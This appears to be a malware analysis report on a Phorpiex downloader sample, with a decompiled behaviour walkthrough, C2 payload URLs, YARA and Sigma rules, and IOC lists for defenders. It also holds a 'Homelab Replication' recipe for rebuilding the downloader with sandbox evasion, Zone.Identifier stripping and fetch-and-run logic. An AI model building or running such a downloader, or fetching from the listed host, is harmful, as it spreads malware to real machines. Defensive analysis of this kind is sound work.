typeanalysisfamilyphorpiexconfidencemediumcreated2026-08-27updated2026-08-27malware-familyloaderc2defense-evasionpersistencemitre-attckpe
SHA-256: e50d0e5abf23d4cdb1021c0db51572a785150f0a797fbe57b203b54c26c086e1

phorpiex: e50d0e5a — Business-app masquerade downloader with expanded payload list (31 URLs)

Executive Summary

A 114 KB MSVC 9.0 PE32 GUI downloader compiled Fri May 29 2026, four hours after the TWIZTPEINF parasitic infector sibling (d69d4497). Confirmed fourth business-app masquerade sibling in the Phorpiex May 2026 campaign. Shares C2 (178.16.54.109), masquerade names, marker-file gate, CN geolocation exclusion, and fake Chrome UA with prior siblings. Delta: expands payload URL list from 11 to 31 (lkdomain.exe + lb1.exe–lb30.exe), adds a second fake UA (Chrome/93.0.4577.82), and drops the f3f3g3df.txt / NoDrives / OUTLOOKFOUND indicators seen in 0371fbbf. Static-only analysis (CAPE skipped — no Windows guest).

What It Is

Field Value
SHA-256 e50d0e5abf23d4cdb1021c0db51572a785150f0a797fbe57b203b54c26c086e1
Size 114,688 bytes (114 KB) ^[file.txt]
Type PE32 executable (GUI) Intel 80386, 5 sections ^[file.txt]
Linker MSVC 9.0 (MajorLinkerVersion 0x9, Minor 0x0) ^[pefile.txt]
Timestamp 0x6A197A6F → Fri May 29 11:37:19 2026 UTC ^[pefile.txt]
Subsystem Windows GUI ^[pefile.txt]
Signed No ^[rabin2-info.txt]
ASLR / NX Enabled (DllCharacteristics 0x8140) ^[pefile.txt]
Rich header Present (oRichv8 in strings) ^[strings.txt:3]
CRT Static MSVCR90 (Dinkumware C++ stdlib strings) ^[strings.txt:400+]
VS_VERSIONINFO Absent (no FileInfo entries) ^[exiftool.json]
YARA PE_File_Generic, Suspicious_Wininet_Imports ^[yara.txt]

How It Works

Entry flow

Standard MSVC CRT entry0 → main with SEH frames. main sleeps 2000 ms, runs a GetTickCount → fcn.00405baa timing loop (anti-emulation), then gates through the marker-file check before any network activity. ^[r2:entry0] ^[r2:main]

Marker-file gate

fcn.004010b0 expands %temp%, constructs %TEMP%\\w4f4wffwf.txt, and checks existence via PathFileExistsW. If absent, creates it and returns true (1); if present, returns false (0), causing main to skip the download loop. Single-instance / sandbox-evasion gate. ^[r2:fcn.004010b0] ^[strings.txt:55]

Geolocation gate

main fetches http://ip-api.com/json/ via WinInet, parses "countryCode". If "CN", execution aborts. Explicit China exclusion. ^[r2:main] ^[strings.txt:94] ^[strings.txt:96]

Downloader loop

fcn.00401150 is the core fetch-and-stage routine:

  1. Expands %temp% to a wide path.
  2. Generates random numeric filename %TEMP%\\<rand><rand>.exe via wsprintfW("%s\\%d%d.exe"). ^[r2:fcn.00401150]
  3. Opens WinInet session with a hardcoded fake UA. Two UAs observed: Mozilla/5.0 ... Chrome/7775543322.0.0.0 ... and Mozilla/5.0 ... Chrome/93.0.4577.82 .... ^[strings.txt:55] ^[strings.txt:58]
  4. Fetches payload via InternetOpenUrlW + InternetReadFile.
  5. Writes payload to temp path via CreateFileW + WriteFile.
  6. Deletes Zone.Identifier ADS via DeleteFileW("%s:Zone.Identifier"). ^[r2:fcn.00401150]
  7. Executes payload via CreateProcessW (creation flags 0x44, CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS) falling back to ShellExecuteW("open"). ^[r2:section..text@0x401082]

Payload URL list

Thirty-one hardcoded HTTP URLs, all pointing to 178.16.54.109:

  • http://178.16.54.109/lkdomain.exe ^[strings.txt:54]
  • http://178.16.54.109/lb1.exe through lb30.exe ^[strings.txt:61-90]

This is three times the payload count of the prior sibling 0371fbbf (which carried lkdomain.exe + lb1.exe–lb10.exe).

Masquerade execution names

Six hardcoded process names passed to the execution stub:

  • slack.exe, Teams.exe, Zoom.exe, sapgui.exe, PBIDesktop.exe, tableau.exe ^[strings.txt:55-60]

These are not the downloaded payload's real name; they are the name under which the dropper launches itself or a companion, poisoning EDR process-tree telemetry.

Decompiled Behavior

Entry point (entry0 @ 0x00407db1): Standard MSVC 9.0 CRT bootstrap — validates PE magic, initializes _initterm, sets up argv/envp, then calls main. Honest flow; no initterm hijack. ^[r2:entry0]

main (0x004016a0):

  • Sleep(2000) → GetTickCount gate → marker-file check (fcn.004010b0) → ip-api.com/json fetch → JSON "countryCode" parse → CN exclusion → iterate payload URL table → call downloader (fcn.00401150) for each URL. ^[r2:main]

fcn.00401150 (downloader): WinInet-only fetch. Stages to %TEMP%\\<rand><rand>.exe. Strips Zone.Identifier. Launches via CreateProcessW then ShellExecuteW. ^[r2:fcn.00401150]

section..text@0x401082 (launcher): Called after download. Attempts CreateProcessW with DEBUG_PROCESS flag; on failure falls back to ShellExecuteW("open", ...), sleeps 1000 ms. ^[r2:section..text@0x401082]

fcn.00401340 (URL table walker): Iterates a null-terminated array of URL pointers, calling fcn.00401150 for each until a null entry is reached. ^[r2:fcn.00401340]

C2 Infrastructure

Indicator Value Provenance
Primary C2 IP 178.16.54.109 ^[strings.txt:54] ^[strings.txt:61-90]
Geolocation API http://ip-api.com/json/ ^[strings.txt:94]
User-Agent (primary) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7775543322.0.0.0 Safari/537.36 ^[strings.txt:55]
User-Agent (fallback) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 ^[strings.txt:58]
Payload URLs lkdomain.exe, lb1.exe–lb30.exe ^[strings.txt:54] ^[strings.txt:61-90]
Masquerade names slack.exe, Teams.exe, Zoom.exe, sapgui.exe, PBIDesktop.exe, tableau.exe ^[strings.txt:55-60]
Marker file %TEMP%\\w4f4wffwf.txt ^[r2:fcn.004010b0]

No domains, no HTTPS, no DGA. Pure cleartext HTTP over a single hardcoded IP.

Interesting Tidbits

  • Builder evolution — payload list expansion: Prior sibling 0371fbbf (May 29, 10:10 UTC) carried 11 URLs. This sample (May 29, 11:37 UTC, ~87 minutes later) carries 31. The builder template clearly supports variable-length URL tables; the operator rotated from 11 to 31 payloads within the same campaign window. ^[entities/phorpiex.md]
  • Dual fake UA rotation: The Chrome/777... UA (impossible version) is shared with 0371fbbf and 9570038453. The addition of Chrome/93.0.4577.82 (a plausible, though dated, version) suggests UA rotation or A/B testing to evade simple string-based detection. ^[strings.txt:55] ^[strings.txt:58]
  • Dropped indicators: Unlike 0371fbbf, this sample lacks f3f3g3df.txt marker, NoDrives registry manipulation, and http://178.16.54.109/OUTLOOKFOUND. These were likely stripped to make room for the expanded URL table while keeping total binary size constant at ~114 KB. ^[/intel/analyses/0371fbbff34ec41ee9ae007482edbcb75f1749661b863da3a2ffe86638cd62a3.html]
  • No VS_VERSIONINFO: No FileDescription, ProductName, or CompanyName — unusual for a masquerade dropper. The social engineering is carried entirely by the filename at distribution time, not by version-resource forgery. ^[exiftool.json]
  • Sleep + GetTickCount gate: main sleeps 2 seconds and measures GetTickCount delta before any network call — crude but effective against fast-emulation sandboxes. ^[r2:main]
  • IsDebuggerPresent: Imported but not called from the main path; present in the MSVC CRT exception-filter path (fcn.0040e87c). ^[r2:fcn.0040e87c]

How To Mess With It (Homelab Replication)

Toolchain: MSVC 9.0 (Visual Studio 2008) or compatible MinGW-w64 with -static CRT.

Recipe:

  1. Write a minimal Win32 GUI app in C++ using WinInet APIs.
  2. Implement Sleep(2000) + GetTickCount() delta check at main entry.
  3. Gate on ExpandEnvironmentStringsW(L"%temp%") + PathFileExistsW(L"w4f4wffwf.txt").
  4. Fetch http://ip-api.com/json/, parse "countryCode", abort if "CN".
  5. Build a wchar_t* URL table with 31 entries pointing to http://<ip>/lb<N>.exe.
  6. Generate random filename with wsprintfW(dst, L"%s\\%d%d.exe", temp, rand(), rand()).
  7. Open WinInet session with InternetOpenW(L"Mozilla/5.0 ... Chrome/7775543322.0.0.0 ...", ...).
  8. Download → CreateFileW → WriteFile → DeleteFileW(L"path:Zone.Identifier") → CreateProcessW / ShellExecuteW(L"open").
  9. Compile with /SUBSYSTEM:WINDOWS /MT (static CRT). Target size should be ~110–120 KB with STL bloat.

Verification: Run capa <repro.exe> — should hit Suspicious_Wininet_Imports and PE_File_Generic.

Deployable Signatures

YARA rule

rule Phorpiex_BusinessAppDownloader_May2026_Expanded {
    meta:
        description = "Phorpiex business-app masquerade downloader with expanded payload list (May 2026)"
        author = "PacketPursuit SOC"
        date = "2026-08-27"
        hash1 = "e50d0e5abf23d4cdb1021c0db51572a785150f0a797fbe57b203b54c26c086e1"
        hash2 = "0371fbbff34ec41ee9ae007482edbcb75f1749661b863da3a2ffe86638cd62a3"
    strings:
        $ua1 = "Chrome/7775543322.0.0.0" ascii wide
        $ua2 = "Chrome/93.0.4577.82" ascii wide
        $marker = "w4f4wffwf.txt" ascii wide
        $c2 = "178.16.54.109" ascii wide
        $slack = "slack.exe" ascii wide
        $teams = "Teams.exe" ascii wide
        $zoom = "Zoom.exe" ascii wide
        $sap = "sapgui.exe" ascii wide
        $pbi = "PBIDesktop.exe" ascii wide
        $tableau = "tableau.exe" ascii wide
        $zone = ":Zone.Identifier" ascii wide
        $ipapi = "http://ip-api.com/json/" ascii wide
        $cc = "countryCode" ascii wide
        $lkdomain = "lkdomain.exe" ascii wide
        $lb1 = "/lb1.exe" ascii wide
        $lb30 = "/lb30.exe" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        filesize < 200KB and
        5 of ($slack, $teams, $zoom, $sap, $pbi, $tableau) and
        ($marker or $c2 or $ua1)
}

Sigma rule

title: Phorpiex Business-App Masquerade Downloader Execution
logsource:
    category: process_creation
    product: windows
detection:
    selection_masquerade:
        CommandLine|contains:
            - 'slack.exe'
            - 'Teams.exe'
            - 'Zoom.exe'
            - 'sapgui.exe'
            - 'PBIDesktop.exe'
            - 'tableau.exe'
    selection_temp:
        ParentImage|contains:
            - '\temp\'
        Image|contains:
            - '\temp\'
    selection_ua:
        CommandLine|contains:
            - 'Chrome/7775543322'
            - 'Chrome/93.0.4577.82'
    condition: selection_masquerade and selection_temp
falsepositives:
    - Unlikely — these exact names appearing under %TEMP% is a strong signal.
level: high

IOC list

Type Value
SHA-256 e50d0e5abf23d4cdb1021c0db51572a785150f0a797fbe57b203b54c26c086e1
SHA-256 sibling 0371fbbff34ec41ee9ae007482edbcb75f1749661b863da3a2ffe86638cd62a3
SHA-256 sibling 9570038453a8b3caa9e7a0af56ef77cee9cfb314c357e62f4350fb99f6afc51f
C2 IP 178.16.54.109
Marker file %TEMP%\\w4f4wffwf.txt
Fake UA (primary) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/7775543322.0.0.0 Safari/537.36
Fake UA (fallback) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Payload names lkdomain.exe, lb1.exe–lb30.exe
Masquerade names slack.exe, Teams.exe, Zoom.exe, sapgui.exe, PBIDesktop.exe, tableau.exe

Behavioral fingerprint

This binary is a 110–120 KB MSVC 9.0 PE32 GUI executable with static C++ STL bloat. On launch it sleeps 2 seconds, checks for a marker file %TEMP%\\w4f4wffwf.txt, queries ip-api.com/json for geolocation, and aborts if the country code is "CN". It then downloads up to 31 payloads over cleartext HTTP from 178.16.54.109 (URLs including /lkdomain.exe and /lb<N>.exe), stages them to %TEMP%\\<rand><rand>.exe, strips the Zone.Identifier ADS, and launches them under masquerade process names including slack.exe, Teams.exe, and Zoom.exe. The WinInet session uses a fake Chrome UA with an impossible version string (Chrome/7775543322.0.0.0) or a dated plausible version (Chrome/93.0.4577.82).

Detection Signatures

Static indicators map to MITRE ATT&CK as follows:

Technique ID Evidence
User Execution T1204.002 Spam-delivered PE with social-engineered filename
Ingress Tool Transfer T1105 HTTP download of secondary payloads ^[strings.txt:54] ^[strings.txt:61-90]
Masquerading T1036 Process launched as slack.exe, Teams.exe, etc. ^[strings.txt:55-60]
Exfiltration Over C2 T1041 HTTP cleartext C2 ^[strings.txt:54]
System Information Discovery T1082 ip-api.com/json geolocation query ^[strings.txt:94]
Geolocation T1617 Country-code gating (countryCode, CN) ^[r2:main]
Defense Evasion::Indicator Removal T1070.004 Zone.Identifier ADS deletion ^[r2:fcn.00401150]
Defense Evasion::Anti-Analysis T1497 GetTickCount timing gate + marker-file single-instance gate ^[r2:main] ^[r2:fcn.004010b0]

References

Provenance

  • file.txt — file(1) 5.45
  • pefile.txt — pefile 2024.8.26
  • rabin2-info.txt — radare2 5.9.2
  • strings.txt — strings (GNU binutils) 2.42
  • yara.txt — YARA 4.5.2
  • exiftool.json — ExifTool 12.76
  • binwalk.txt — binwalk 2.3.4
  • floss.txt — flare-floss (error: invalid CLI flags during triage run)
  • capa.txt — capa (error: missing signature path during triage run)
  • Radare2 decompilation — radare2 5.9.2, analysis level 2, 694 functions recovered
  • Static-only; CAPE skipped (no Windows guest available)